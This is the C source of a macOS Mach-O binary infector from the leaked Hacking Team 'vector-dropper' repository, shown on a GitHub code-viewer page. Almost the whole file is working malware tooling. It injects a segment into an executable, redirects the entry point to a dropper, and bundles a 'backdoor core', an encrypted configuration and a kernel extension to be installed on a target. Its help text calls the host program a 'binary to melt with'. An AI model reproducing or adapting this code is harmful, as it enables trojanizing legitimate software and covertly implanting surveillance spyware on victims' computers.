hackedteam/vector-dropper

View on GitHub
RCSMacDropper/RCSMacInfector.c

Summary

Maintainability
Test Coverage
/*
 * RCSMac Infector
 *  - Check if the input file is a FAT binary
 *    - If Yes Unpack every single ARCH
 *  - Rebuild a FAT binary with all the original archs and while dealing with the
 *    i386 arch:
 *    - Inject a new LC_SEGMENT right after the __LINKEDIT segment so that we
 *      won't touch __DATA vmaddr (this is because __PAGEZERO will always be 0x1000
 *      big, by default from gcc. One can also specify a different size at compile time)
 *    - Cut sizeof (segment_command) while copying back the _rest_ of the file
 *      (after LC_COMMAND(s)) since we've added a new SEGMENT. In this way we're
 *      gonna cut 0s used for padding and the alignment won't be broken.
 *    - Append our data padded to 0x1000 (Page Boundary) and put our crt start()
 *      routine (standard one created by gcc) as the entryPoint routine which calls
 *      our real main() [secondStageLoader]. There's a problem in having the start
 *      routine different than the one dyld is expecting since it won't initialize
 *      in that case the entire environment memory. See ImageLoaderMachO.cpp:2661
 *      - This must be done in the same architecture and not at the end of the file:
 *        | FAT_HEADER |
 *         | FAT_ARCH i386| <--- change arch size in order to include our files
 *          | ARCH i386 SEGMENTS |
 *          | INJECTED SEGMENT |
 *         | FAT_ARCH OTHER |
 *          | ARCH OTHER SEGMENTS|
 *
 * Created by Alfredo 'revenge' Pesoli on 14/07/2009
 * Copyright (C) HT srl 2009. All rights reserved
 *
 */

#ifdef __APPLE__
#include <libc.h>
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <sys/stat.h>
#include <sys/mman.h>

//#include "RCSMacDropperStruct.h"
#include "RCSMacInfector.h"
#include "RCSMacCommon.h"

#define VERSION           0.8
#define INJECTED_SEGMENT  "__INIT_STUBS"

extern void dropperStart ();
extern void labelTest ();
extern void firstStageDropper ();
extern void secondStageDropper ();
extern void dropperEnd ();

//static unsigned int paddedPagezeroVASize = 0;

#define ENTRY_POINT (secondStageDropper - dropperStart)
#define DROPPER_CODE_SIZE (dropperEnd - dropperStart)
#define FIRST_STAGE_CODE_SIZE (firstStageDropper - labelTest)


unsigned int
getBinaryEP (void *machoBase)
{
  struct mach_header *m_header;
  struct load_command *l_command;

  int i;
  unsigned int offset, entryPoint;

  m_header = machoBase;
  offset  = sizeof (struct mach_header);
  
  for (i = 0; i < m_header->ncmds; i++)
    {
      l_command = (struct load_command *)(machoBase + offset);
      
      if (l_command->cmd == LC_THREAD
          || l_command->cmd == LC_UNIXTHREAD)
        {
          struct thread_command *th_command;
          
          th_command = allocate (sizeof (struct thread_command));
          memcpy (th_command, machoBase + offset, sizeof (struct thread_command));
          
          entryPoint = th_command->state.eip;
          free (th_command);
          
          return entryPoint;
        }
        
      offset += l_command->cmdsize;
    }
  
  return -1;
}

int
setBinaryEP (void *machoBase, unsigned int anEntryPoint)
{
  struct mach_header *m_header;
  struct load_command *l_command;
  
  int i;
  unsigned int offset;
  
  m_header = machoBase;
  offset  = sizeof (struct mach_header);
  
  for (i = 0; i < m_header->ncmds; i++)
    {
      l_command = (struct load_command *)(machoBase + offset);
      
      if (l_command->cmd == LC_THREAD
          || l_command->cmd == LC_UNIXTHREAD)
        {
          struct thread_command *th_command;
          
          th_command = allocate (sizeof (struct thread_command));
          memcpy (th_command, machoBase + offset, sizeof (struct thread_command));
          
          th_command->state.eip = anEntryPoint;
          memcpy (machoBase + offset, th_command, sizeof (struct thread_command));
          free (th_command);  
          
          return 0;
        }
      
      offset += l_command->cmdsize;
    }
  
  return -1;
}

int appendData (char *inputFilePointer,
                char *outputFilePointer,
                int archOffset,
                int padding,
                unsigned int segmentVMAddr)
{
  char *tempFilePointer   = NULL;
  const char *_strings[]  = { "HOME", "/%s/%s", "/%s", "" };
  
  unsigned int originalEP = 0;
  int tempFileSize        = 0;
  
  int tempFD              = 0;
  int z                   = 0;
  
  int offset = padding;
    
  infectionHeader infection;
  stringTable     strings;
  resourceHeader  resource;
  
  if (gKextFileSize > 0)
    numberOfResources = 3;
  else
    numberOfResources = 2;
  
  originalEP = getBinaryEP ((void *)(inputFilePointer + archOffset));
#ifdef DEBUG
  printf ("Original EP: %x\n", originalEP);
#endif
  //
  // Set the infection header
  //
  memset (&infection, 0, sizeof (infectionHeader));
  infection.numberOfResources = numberOfResources;
  infection.numberOfStrings   = gNumStrings;
  infection.dropperSize       = DROPPER_CODE_SIZE;
  infection.originalEP        = originalEP; //+ paddedPagezeroVASize - PAGE_ALIGNMENT;
  
  memcpy (outputFilePointer + offset, &infection, sizeof (infectionHeader));
  offset += sizeof (infectionHeader);
  
  //
  // Set the string table
  //
  for (z = 0; z < gNumStrings; z++)
    {
      memset (&strings, 0, sizeof (stringTable));
      strncpy (strings.value, _strings[z], sizeof (strings.value));
#ifdef DEBUG_VERBOSE
      printf ("string: %s\n", _strings[z]);
#endif
      strings.type = STRING_DATA;
      
      memcpy (outputFilePointer + offset, &strings, sizeof (stringTable));
      offset += sizeof (stringTable);
    }
  
  // Set the new EP + 4 (number of Resources)
  if (setBinaryEP ((void *)(outputFilePointer + archOffset), segmentVMAddr
                   + sizeof (infectionHeader)
                   + sizeof (stringTable) * gNumStrings) == -1)
    {
      printf ("[ee] An error occurred while setting the new EP\n");
      exit (1);
    }
  
  //
  // Now append the crt start routine (__malloc_initialize error fix)
  //
  memcpy (outputFilePointer + offset, crtStart, sizeof (crtStart));
  offset += sizeof (crtStart);
  
  unsigned int ep = ENTRY_POINT;
#ifdef DEBUG_VERBOSE
  printf ("ep: %x\n", ep);
#endif
  memmove (outputFilePointer + offset - 1, &ep, 3);
  offset += 3;
  
  //
  // Now append our loader
  //
  memcpy (outputFilePointer + offset,
          dropperStart,
          DROPPER_CODE_SIZE);
  
  offset += DROPPER_CODE_SIZE;
  
  //
  // Now resourceHeader with all the files which needs to be dropped
  //
  printf ("[ii] Dropper injected (%d)\n", DROPPER_CODE_SIZE);
  
  //
  // CORE
  //
  resource.type = RESOURCE_CORE;
  memset (resource.name, 0, strlen (resource.name));
  memcpy (resource.name, coreFileName, sizeof (resource.name));
  
  resource.size = gCoreFileSize;
  
  memset (resource.path, 0, strlen (resource.path));
  memcpy (resource.path, installPath, sizeof (resource.path));
  
  memcpy (outputFilePointer + offset,
          &resource,
          sizeof (resourceHeader));
  
  offset += sizeof (resourceHeader);
  
  if ((tempFilePointer = mapFile (coreFileName, &tempFileSize,
                                  &tempFD, 0)) == NULL)
    {
      printf("[ee] Error while mmapping the backdoor core file\n");
      exit (1);
    }
  
  memcpy (outputFilePointer + offset,
          tempFilePointer,
          gCoreFileSize);
  offset += gCoreFileSize;
  
  tempFileSize = 0;
  tempFilePointer = NULL;
  close (tempFD);
  
  //
  // CONF
  //
  resource.type = RESOURCE_CONF;
  memset (resource.name, 0, sizeof (resource.name));
  memcpy (resource.name, confFileName, sizeof (resource.name));
  resource.size = gConfFileSize;
  memset (resource.path, 0, sizeof (resource.path));
  memcpy (resource.path, installPath, sizeof (resource.path));
  
  memcpy (outputFilePointer + offset,
          &resource,
          sizeof (resourceHeader));
  
  offset += sizeof (resourceHeader);
  
  if ((tempFilePointer = mapFile (confFileName, &tempFileSize,
                                  &tempFD, 0)) == NULL)
    {
      printf("[ee] Error while mmapping the configuration file\n");
      exit (1);
    }
  
  memcpy (outputFilePointer + offset,
          tempFilePointer,
          gConfFileSize);
  offset += gConfFileSize;
  
  close (tempFD);
  
  //
  // KEXT
  //
  if (gKextFileSize > 0)
    {
      tempFileSize = 0;
      tempFilePointer = NULL;
      
      resource.type = RESOURCE_KEXT;
      memset (resource.name, 0, sizeof (resource.name));
      memcpy (resource.name, kextFileName, sizeof (resource.name));
      resource.size = gKextFileSize;
      memset (resource.path, 0, sizeof (resource.path));
      memcpy (resource.path, installPath, sizeof (resource.path));
      
      printf ("offset: %x\n", offset);
      
      memcpy (outputFilePointer + offset,
              &resource,
              sizeof (resourceHeader));
      
      offset += sizeof (resourceHeader);
      
      if ((tempFilePointer = mapFile (confFileName, &tempFileSize,
                                      &tempFD, 0)) == NULL)
        {
          printf("[ee] Error while mmapping the configuration file\n");
          exit (1);
        }
      
      memcpy (outputFilePointer + offset,
              tempFilePointer,
              gConfFileSize);                
    }
  
  return offset;
}

int infectSingleArch (char *inputFilePointer,
                      char *outputFilePointer,
                      int offsetToArch,
                      int inputFileSize,
                      int outputFileSize)
{
  struct mach_header      *m_header;
  struct load_command     *l_command;
  struct segment_command  *seg_command;
  
  int i, z;
  
  unsigned int inputOffset  = 0;
  unsigned int outputOffset = 0;
  unsigned int segVMAddr    = 0;
  int displacement          = 0;
  int padding               = 0;
  
  inputOffset   += offsetToArch;
  outputOffset  += offsetToArch;
  
  m_header = allocate (sizeof (struct mach_header));
  memcpy (m_header, inputFilePointer + inputOffset, sizeof (struct mach_header));
  
  // TODO: Add check for cputype as well
  if (m_header->filetype != MH_EXECUTE)
    {
      printf ("[ee] Unsupported file type (!= MH_EXECUTE)\n");
      return kErrorFileNotSupported;
    }
  
  // Increment header sizeofcmds since we're adding a new section
  //m_header->sizeofcmds += sizeof (struct section);
  
  m_header->sizeofcmds += sizeof (struct segment_command);
  m_header->ncmds      += 1;
  
  memcpy (outputFilePointer + outputOffset, m_header, sizeof (struct mach_header));
  
  // Calculate padding including loader code size
  displacement  = inputFileSize % PAGE_ALIGNMENT;
  padding       = PAGE_ALIGNMENT - displacement;
  
  outputOffset += sizeof (struct mach_header);
  inputOffset  += sizeof (struct mach_header);
#ifdef DEBUG
  printf ("[ii] Starting parsing load_commands\n");
#endif
  for (i = 0; i < m_header->ncmds; i++)
    {
      l_command = (struct load_command *)(inputFilePointer + inputOffset);
#ifdef DEBUG_VERBOSE
      printf ("loadCommand: %d (%x)\n", i, l_command->cmd);
#endif
      switch (l_command->cmd)
        {
        case LC_THREAD:
        case LC_UNIXTHREAD:
          {
            struct thread_command *th_command;
            
            th_command = allocate (sizeof (struct thread_command));
            memcpy (th_command, inputFilePointer + inputOffset, sizeof (struct thread_command));
            
            //th_command->state.eip += sizeof (struct section);
            //th_command->state.eip = 0x8; // W00t
            
            memcpy (outputFilePointer + outputOffset, th_command, sizeof (struct thread_command));
            free (th_command);
            
            inputOffset += sizeof (struct thread_command);
            outputOffset += sizeof (struct thread_command);
            
            break;
          }
        case LC_SEGMENT:
          {
#ifdef DEBUG
            printf ("LC_SEGMENT size: %d\n", (int)(sizeof (struct segment_command)));
#endif
            seg_command = allocate (sizeof (struct segment_command));
            memcpy (seg_command, inputFilePointer + inputOffset, sizeof (struct segment_command));
            
            inputOffset += sizeof (struct segment_command);
            
            if (!strncmp (seg_command->segname, "__PAGEZERO",
                          strlen (seg_command->segname)))
              {
#ifdef DEBUG
                printf ("[ii] Found __PAGEZERO Segment\n");
#endif  
                //
                // Update the segment within the new prot flags(EP) and size
                //
                //seg_command->cmdsize  += sizeof (struct section);
                /*
                 seg_command->fileoff  = fileSize + padding;
                 
                 //seg_command->filesize = outputFileSize;
                 seg_command->filesize = FIRST_STAGE_CODE_SIZE;
                 
                 if (seg_command->filesize % PAGE_ALIGNMENT)
                 seg_command->filesize = ((seg_command->filesize + PAGE_ALIGNMENT)
                 & ~(PAGE_ALIGNMENT -1));
                 
                 //seg_command->vmsize = paddedPagezeroVASize = outputFileSize; // PageBoundary padding 4K
                 seg_command->vmsize = seg_command->filesize;
                 
                 seg_command->maxprot  = 0x7;
                 seg_command->initprot = 0x5;
                 //seg_command->nsects   += 0x1;
                 */
                // Copy back the segmentCommand
                memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command));
                outputOffset += sizeof (struct segment_command);
                /*
                 //
                 // Create the new section
                 //
                 printf ("[ii] section size: %d\n", (int)(sizeof (struct section)));
                 sect = allocate (sizeof (struct section));
                 
                 if (sect == NULL)
                 {
                 printf("[ee] Error while allocating the new section\n");
                 return kErrorMemoryAllocation;
                 }
                 
                 strcpy (sect->sectname, INJECTED_SECTION_NAME);
                 strcpy (sect->segname, INJECTED_SEGMENT_NAME);
                 //sect->addr    = stackSize;
                 sect->offset  = fileSize + padding;
                 sect->size    = outputFileSize; //TOP_STACK - stackSize; // size of the stack
                 sect->align   = 0x2; // standard alignment
                 sect->flags   = 0x80000000; // x flag
                 
                 // Copy back the section
                 memcpy (outputFilePointer + outputOffset, sect, sizeof (struct section));
                 outputOffset += sizeof (struct section);
                 
                 free (sect);
                 */
              }
            else if (!strncmp (seg_command->segname, "__LINKEDIT",
                               strlen (seg_command->segname)))
              {
#ifdef DEBUG
                printf ("[ii] Found %s Segment\n", seg_command->segname);
#endif  
                memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command));
                outputOffset += sizeof (struct segment_command);
                
                //
                // Now inject the new segment
                //
                struct segment_command *mySegment = allocate (sizeof (struct segment_command));
                
                mySegment->cmd      = LC_SEGMENT;
                mySegment->cmdsize  = sizeof (struct segment_command);
                strncpy (mySegment->segname, INJECTED_SEGMENT, strlen (INJECTED_SEGMENT));
                mySegment->vmaddr   = seg_command->vmaddr + seg_command->vmsize;
                mySegment->vmsize   = outputFileSize;
                mySegment->fileoff  = inputFileSize + padding - offsetToArch;
                mySegment->filesize = outputFileSize;
                mySegment->maxprot  = 0x7;
                mySegment->initprot = 0x5;
                
                segVMAddr = mySegment->vmaddr;
                
                memcpy (outputFilePointer + outputOffset, mySegment, sizeof (struct segment_command));
                outputOffset += sizeof (struct segment_command);
              }
            else
              {
                //
                // Shift all the VM Addresses
                //
                //seg_command->vmaddr += paddedPagezeroVASize - PAGE_ALIGNMENT;
                
                memcpy (outputFilePointer + outputOffset,
                        seg_command,
                        sizeof (struct segment_command));
                outputOffset += sizeof (struct segment_command);
#ifdef DEBUG
                printf ("[ii] Cycling for segment (%s) sections (%d)\n",
                        seg_command->segname, seg_command->nsects);
#endif  
                for (z = 0; z < seg_command->nsects; z++)
                  {
                    struct section *sect;
                    
                    sect = allocate (sizeof (struct section));
                    if (sect == NULL)
                      {
                        printf("[ee] Error while allocating the new section\n");
                        return kErrorMemoryAllocation;
                      }
                    memcpy (sect, inputFilePointer + inputOffset, sizeof (struct section));
                    
                    //sect->offset += sizeof (struct section);
                    //sect->addr += paddedPagezeroVASize - PAGE_ALIGNMENT;
                    
                    memcpy (outputFilePointer + outputOffset,
                            sect,
                            sizeof (struct section));
                    
                    free (sect);
                    inputOffset += sizeof (struct section);
                    outputOffset += sizeof (struct section);
                  }
              }
            
            free (seg_command);
            
            break;
          }
        case LC_SYMTAB:
          {
            struct symtab_command *sy_command;
            sy_command = allocate (sizeof (struct symtab_command));
            memcpy (sy_command, inputFilePointer + inputOffset, sizeof (struct symtab_command));
            
            //sy_command->symoff += sizeof (struct section);
            //sy_command->stroff += sizeof (struct section);
            
            memcpy (outputFilePointer + outputOffset, sy_command, sizeof (struct symtab_command));
            free (sy_command);
            
            inputOffset += sizeof (struct symtab_command);
            outputOffset += sizeof (struct symtab_command);
            
            break;
          }
        case LC_DYSYMTAB:
          {
            struct dysymtab_command *dysym_command;
            dysym_command = allocate (sizeof (struct dysymtab_command));
            memcpy (dysym_command, inputFilePointer + inputOffset, sizeof (struct dysymtab_command));
            
            //dysym_command->indirectsymoff += sizeof (struct section);
            
            memcpy (outputFilePointer + outputOffset, dysym_command, sizeof (struct dysymtab_command));
            free (dysym_command);
            
            inputOffset += sizeof (struct dysymtab_command);
            outputOffset += sizeof (struct dysymtab_command);
            
            break;
          }
        case LC_CODE_SIGNATURE:
        case LC_SEGMENT_SPLIT_INFO:
          {
            struct linkedit_data_command *linkedit_command;
            linkedit_command = allocate (sizeof (struct linkedit_data_command));
            memcpy (linkedit_command, inputFilePointer + inputOffset, sizeof (struct linkedit_data_command));
            
            //linkedit_command->dataoff += sizeof (struct section);
            
            memcpy (outputFilePointer + outputOffset, linkedit_command, sizeof (struct linkedit_data_command));
            free (linkedit_command);
            
            inputOffset += sizeof (struct linkedit_data_command);
            outputOffset += sizeof (struct linkedit_data_command);
            
            break;
          }
        default:
          {
            memcpy (outputFilePointer + outputOffset,
                    inputFilePointer + inputOffset,
                    l_command->cmdsize);
            inputOffset += l_command->cmdsize;
            outputOffset += l_command->cmdsize;
            
            break;
          }
      }
    }
  
  //
  // Now the rest of the file (data), here we wanna skip sizeof segment_command
  // in order to leave the file padded correctly for its TEXT segment
  //
  memcpy (outputFilePointer + outputOffset,
          inputFilePointer + inputOffset + sizeof (struct segment_command),
          inputFileSize - inputOffset - sizeof (struct segment_command));
  
  free (m_header);
  printf ("[ii] LoadCommands copied successfully\n");
  
#ifdef DEBUG_VERBOSE
  printf ("inputFilePointer: %x\n", inputFilePointer);
  printf ("inputFilePointer: %x\n", *(unsigned long *)inputFilePointer);
  printf ("offsetToArch: %x\n", offsetToArch);
  printf ("inputFilePointer: %x\n", *(unsigned long *)(inputFilePointer + 0x1000));
  printf ("inputSize + padding: %d\n", inputFileSize + padding);
#endif
  
  if (appendData (inputFilePointer,
                  outputFilePointer,
                  offsetToArch,
                  inputFileSize + padding,
                  segVMAddr) != kErrorGeneric)
    return padding;
  else
    return kErrorGeneric;
}

int
getBinaryFormat (char *aFilePointer)
{
  memset (&gFatHeader, 0, sizeof (gFatHeader));
  memcpy (&gFatHeader, aFilePointer, sizeof (gFatHeader));
  
  switch (gFatHeader.magic)
    {
    case FAT_CIGAM:
      return kFatSwapBinary;
    case FAT_MAGIC:
      return kFatBinary;
    case MH_MAGIC:
      return kMachBinary;
    default:
      return kErrorFileNotSupported;
    }
}

int getFileSize (char *aFilePath)
{
  struct stat sb;
  
  if (stat (aFilePath, &sb) == kErrorGeneric)
    {
      return kErrorGeneric;
    }
  
  return sb.st_size;
}

void
usage (char *aBinaryName)
{
  printf ("\nUsage: %s <core> <conf> <kext> <path> <input> <output>\n\n", aBinaryName);
  printf ("\t<core>   : backdoor core\n");
  printf ("\t<conf>   : backdoor encrypted configuration\n");
  printf ("\t<kext>   : kernel extension\n");
  printf ("\t<path>   : backdoor installation path (on target)\n");
  printf ("\t<input>  : binary to melt with\n");
  printf ("\t<output> : output filename\n\n");
}

int
parseArguments (int argc, char **argv)
{
    if (argc != 7)
    {
      return kErrorGeneric;
    }

  coreFileName          = argv[1];
  confFileName          = argv[2];
  kextFileName          = argv[3];
  installPath           = argv[4];
  inputFileName         = argv[5];
  outputFileName        = argv[6];

  return kSuccess;
}

int
main (int argc, char **argv)
{
  struct fatArch             *f_arch;
  char *inputFilePointer      = NULL;
  char *outputFilePointer     = NULL;
  
  int inputFileSize           = 0;
  int outputFileSize          = 0;
  int fileType                = 0;
  int padding                 = 0;
  
  gNumStrings                 = 4;
  
  int inputFD, outputFD, i;
  
  int offsetToResources       = 0;
  
  unsigned int inputOffset    = 0;
  unsigned int outputOffset   = 0;
  int nfat                    = 0;
  int cputype                 = 0;
  unsigned int archOffset     = 0;
    
  if (parseArguments (argc, argv) & kErrorGeneric)
    {
      usage (*argv);
      exit (1);
    }

  //
  // Check if the backdoor, configuration file and KEXT exists and get
  // their size
  //
  if ((gCoreFileSize = getFileSize (coreFileName)) == kErrorGeneric)
    {
      printf ("[ee] Core backdoor file not found\n");
      exit (1);
    }
  
  if ((gConfFileSize = getFileSize (confFileName)) == kErrorGeneric)
    {
      printf ("[ee] Configuration file not found\n");
      exit (1);
    }
  
  if (strncmp ("null", kextFileName, strlen ("null")) != 0)
    {
      if ((gKextFileSize = getFileSize (kextFileName)) == kErrorGeneric)
        {
          printf ("[ee] KEXT file not found\n");
          exit (1);
        }
    }
  
  // Map input file
  if ((inputFilePointer = mapFile (inputFileName, &inputFileSize,
                                   &inputFD, 0)) == NULL)
    {
      printf("[ee] Error while mmapping the input file\n");
      exit (1);
    }

  // Calculate the padded output file size + 1
  outputFileSize = DROPPER_CODE_SIZE
                    + sizeof (crtStart)
                    + sizeof (int)
                    + gCoreFileSize
                    + gConfFileSize
                    + gKextFileSize
                    + sizeof (infectionHeader)
                    + sizeof (stringTable) * gNumStrings
                    + sizeof (resourceHeader) * ((gKextFileSize > 0) ? 3 : 2);
#ifdef DEBUG_VERBOSE
  printf ("unpadded outSize: %d\n", outputFileSize);
#endif
  
  if (outputFileSize % PAGE_ALIGNMENT)
    outputFileSize = ((outputFileSize + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));

  int tempSize = outputFileSize + inputFileSize;
  
#ifdef DEBUG_VERBOSE
  printf ("padded outSize: %d\n", outputFileSize);
  printf ("tempSize: %d\n", tempSize);
  printf ("[ii] loaderCodeSize: %d\n", DROPPER_CODE_SIZE);
  printf ("[ii] gCoreFileSize: %d\n", gCoreFileSize);
  printf ("[ii] confCodeSize: %d\n", gConfFileSize);
  printf ("[ii] gKextFileSize: %d\n", gKextFileSize);
  printf ("[ii] inputFileSize: %d\n", inputFileSize);
  printf ("[ii] outputFileSize: %d\n", outputFileSize);
#endif
  
  // Map output file
  if ((outputFilePointer = mapFile (outputFileName, &tempSize,
                                    &outputFD, &padding)) == NULL)
    {
      printf("[ee] Error while mmapping the output file\n");
      exit (1);
    }
  
  // Giving the output file the correct fileSize
  if (lseek (outputFD, tempSize + padding - 1, SEEK_SET) == kErrorGeneric)
    {
      exit (1);
    }
  
  if (write (outputFD, "", 1) == kErrorGeneric)
    {
      close (outputFD);
      close (inputFD);

      return kErrorWriteFile;
    }
  
  close (outputFD);
  close (inputFD);

  // Gettin filetype - Compatibility with MacOS X Leopard 10.5
  fileType = getBinaryFormat (inputFilePointer);

  switch (fileType)
    {
    case kFatBinary:
      {
        gFileType = 1;
        printf ("[ii] FAT Binary found [TODO]\n");
        
        //infectBinary (kFatBinary);

        break;
      }
    case kFatSwapBinary:
      {
        int x86Found      = 0;
        
        gFileType = 2;
        nfat = SWAP_LONG (gFatHeader.nfatArch);
        
        printf ("[ii] FAT (swapped) Binary found\n");
        printf ("[ii] Found %d Arch(s)\n", nfat);
        
        memcpy (outputFilePointer, &gFatHeader, sizeof (gFatHeader));
        outputOffset  += sizeof (gFatHeader);
        inputOffset   += sizeof (gFatHeader);
        
        for (i = 0; i < nfat; i++)
          {
            f_arch = allocate (sizeof (struct fatArch));
            memcpy (f_arch, inputFilePointer + inputOffset, sizeof (struct fatArch));
            
            cputype       = SWAP_LONG (f_arch->cputype);
            archOffset    = SWAP_LONG (f_arch->offset);
            f_arch->size  = SWAP_LONG (f_arch->size);
#ifdef DEBUG
            printf ("[ii] cputype: %d\n", cputype);
            printf ("[ii] archOffset: %d\n", archOffset);
#endif
            if (cputype == CPU_TYPE_X86)
              {
                x86Found++;
                
                offsetToResources = infectSingleArch ((char *)(inputFilePointer),
                                                      (char *)(outputFilePointer),
                                                      archOffset,
                                                      f_arch->size,
                                                      outputFileSize);
                
                f_arch->size += sizeof (struct segment_command)
                                + outputFileSize
                                + offsetToResources;
                
                //offsetToResources -= archOffset;
              }
            else
              {
                if (x86Found)
                  {
                    archOffset += offsetToResources + outputFileSize;
                    
                    if (archOffset % PAGE_ALIGNMENT)
                      archOffset = ((archOffset + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
#ifdef DEBUG_VERBOSE
                    printf ("new Offset: %d\n", archOffset);
#endif
                    f_arch->offset = SWAP_LONG (archOffset);
                  }
                
                memcpy (outputFilePointer + archOffset,
                        inputFilePointer + archOffset,
                        f_arch->size);
              }
            
            f_arch->size = SWAP_LONG (f_arch->size);
            memcpy (outputFilePointer + outputOffset, f_arch, sizeof (struct fatArch));
            
            free (f_arch);
            inputOffset   += sizeof (struct fatArch);
            outputOffset  += sizeof (struct fatArch);
          }
        
        break;
      }
    case kMachBinary:
      {
        gFileType = 3;
        printf ("[ii] Mach Binary found\n");
        
        if ((offsetToResources = infectSingleArch (inputFilePointer,
                                                    outputFilePointer,
                                                    0,
                                                    inputFileSize,
                                                    outputFileSize)) < 0)
          {
            printf("[ee] An error occurred while infecting the binary\n");
            
            switch (offsetToResources)
              {
              case kErrorGeneric:
                printf("[ee] Got a generic error\n");
                break;
              case kErrorOpenFile:
                printf("[ee] Error on file open\n");
                break;
              case kErrorReadFile:
                printf("[ee] Error while reading the input file\n");
                break;
              case kErrorWriteFile:
                printf("[ee] Error while writing the output file\n");
                break;
              case kErrorCreateFile:
                printf("[ee] Error while creating the output file\n");
                break;
              default:
                break;
              }
          }
                
        break;
      }
    default:
      break;
    }

  printf ("[ii] File Infected with success\n");
  
  return kSuccess;
}